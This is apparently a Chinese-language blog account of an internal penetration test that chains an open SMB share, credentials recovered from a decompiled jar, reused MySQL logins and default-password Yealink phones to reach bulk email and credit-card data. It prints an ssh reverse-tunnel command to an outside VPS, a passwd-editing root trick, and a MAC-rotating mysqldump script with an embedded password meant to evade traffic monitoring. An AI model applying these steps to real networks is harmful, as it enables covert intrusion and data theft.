多漏洞組合實現百G數據泄漏
這是幾年前的一次內部滲透測試案例,通過幾個小漏洞組合起來獲得了大量敏感信息,起初在一個小的內網進行 nmap 掃描,沒有發現什么特別有價值的信息,只發現一個 SMB 共享,如圖:

看上去像是開發人員創建,用于計算機之間的文件共享,接下來使用 impacket 的 smbclient.py 訪問該共享,獲得了一些內容:

通過命令行窗口沒看到啥特別有用的文件,嘗試下載回本地,發現了一個 jar 文件:

看著像是自己寫的程序,然后使用 java 的反編譯軟件 jd-gui,下載地址:
https://github.com/java-decompiler/jd-gui.git
將代碼克隆回本地然后編譯:

編譯好之后啟動:

啟動之后出現一個界面,打開要反編譯的 jar 文件即可:

在翻看了代碼之后,找到了幾個數據庫的鏈接信息,如圖:


在全部嘗試之后發現,這些 IP 均無法訪問,我想,這些賬號密碼可能存在通用的,所以開始對整個內網進行掃描,探測所有運行 mysql 服務的端口,然后使用收集到的賬號密碼進行登錄嘗試,最后發現 10.40.0.0/16 網段一臺電腦的 3033 端口登錄成功。
成功連接后發現,有五十多個與業務相關的數據表,包含的數據超過 700 G:

為了證明信息量,查詢了下數據條數(超過 1600 萬條電子郵件地址):

除了這些,還發現看超過 20 萬條完整的信用卡記錄,大約 700 G 的數據中,有 270 G 的熟劇是關鍵的,到這里,你以為就結束了?其實并沒有,為了證明這些數據可以泄漏,需要想辦法將這些數據轉移至外部,在嘗試傳輸時發現速度非常慢,如果一天內傳輸 270G 的數據,可能會觸發一些流量審計設備的規則。
接下來我們嘗試使用 ssh 建立隧道,通過外部訪問內部被控制的主機, 這里先說一下如何建立 SSH 隧道,首先在被控主機上執行命令:
ssh -R 8080:127.0.0.1:22 -N -f user@remote.host
remote.host 是我們的遠程 VPS(具有公網IP,可以遠程訪問),- N 參數表示不運行任何命令,只建立連接,-f 參數表示后臺運行進程,整個命令的意思是遠程 VPS 監聽 8080 端口,把收到的所有數據均發送給內網被控主機的 22 端口,這樣我們就可以通過外部訪問內網被控主機的 SSH 端口,連接命令:
ssh -p 8080 compromiseduser@localhost
compromiseduser 是內網被控主機上的用戶名,到這里我們就解決了通過公司網絡訪問內網主機的問題。
接下來我們決定找一個全天候都在啟動、安全性差、可以訪問網絡的設備,物聯網設備滿足這幾個條件,然后在內網開始掃描這類設備,發現了一百臺物聯網設備,主要是電視和 VOIP 電話,電視不會一直開著,電話都是 Yealink 的:

看看這類設備是否存在歷史漏洞,使用 searchsploit 搜索相關漏洞發現幾個:

經過分析, 23572 這個漏洞可以啟動 telnet 并且存在默認賬號密碼,詳情:
https://www.exploit-db.com/exploits/23572

使用默認賬號密碼 admin/admin 成功登錄,但不是 root 權限:

在測試中發現,使用 guest/guest 賬號可以編輯 passwd 文件,然后將 root 用戶中的 x 去掉,即可在沒有 root 密碼的情況下登錄:

關于 guest 用戶為什么可以編輯 passwd 文件,不得而知,但確實是可以的。
有了 root 權限之后,需要在這個系統上部署一個 ssh 服務器,由于這個過程中遇到很多錯誤,沒有做記錄,如果再做的話我會選擇 pentestkoala 來創建 ssh 服務:
https://github.com/mrschyte/pentestkoala
這個時候,我不想用一個 IP 下載所有的數據,這樣容易被流量監控發現,測試發現使用 macchanger 更改 mac 后,手動釋放 DHCP 會獲得一個新的 IP,也就是說 DHCP 分配 IP 取決于 MAC 地址,所以編寫一個腳本:
#!/bin/bashfor i in importantdb1 importantdb2 importantdb3 importantdb4; do dhclient -r enp0s25 sleep 10 macchanger - random enp0s25 dhclient enp0s25 sleep 40 mysqldump - verbose -u root -prootspi949 -h 10.40.59.10 -P 3033 $i >> /tmp/compromisedDb/$i.sqldone
每下載一個數據表則更換一個 IP 地址,這樣同一個 IP 所下載的數據就沒有那么大了,目標達成。